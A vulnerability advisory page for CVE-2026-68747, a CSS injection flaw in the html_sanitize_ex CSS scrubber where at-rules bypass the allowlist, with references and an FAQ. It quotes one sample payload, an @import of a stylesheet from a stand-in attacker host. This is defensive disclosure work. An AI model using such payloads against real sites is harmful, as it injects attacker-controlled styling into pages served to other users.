Vulnerability Description
Improper Neutralization of Special Elements in Output Used by a Downstream Component ('Injection') vulnerability in the CSS scrubber in rrrene html_sanitize_ex allows an unauthenticated remote attacker to inject CSS at-rules, including an import of a remote stylesheet, into a page served to other users. HtmlSanitizeEx.Scrubber.CSS.scrub/1 applies its property and value allowlist through a Regex.replace over substrings matching a property: value declaration pattern, so input that does not match that pattern is never inspected and is copied to the output unchanged. @import url(//attacker.example/style.css); survives, while the same URL inside a background: url(...) declaration is removed. Element boundaries are resolved before the scrubber runs, so injected content does not escape the <style> element and no script executes. This issue affects html_sanitize_ex: from 0.3.1 before 1.5.4.
Related Weaknesses (CWE)
References
- https://cna.erlef.org/cves/CVE-2026-68747.html
- https://github.com/rrrene/html_sanitize_ex/commit/0b9f9ad63a7529d4f2c3c1134c371a
- https://github.com/rrrene/html_sanitize_ex/security/advisories/GHSA-87v2-pfhj-r5
- https://osv.dev/vulnerability/EEF-CVE-2026-68747
FAQ
What is CVE-2026-68747?
CVE-2026-68747 is a documented vulnerability. Improper Neutralization of Special Elements in Output Used by a Downstream Component ('Injection') vulnerability in the CSS scrubber in rrrene html_sanitize_ex allows an unauthenticated remote attacke...
How severe is CVE-2026-68747?
CVSS scoring is not yet available for CVE-2026-68747. Check NVD for updates.
Is there a patch for CVE-2026-68747?
Check the references section above for vendor advisories and patch information. Review vendor security bulletins for remediation guidance.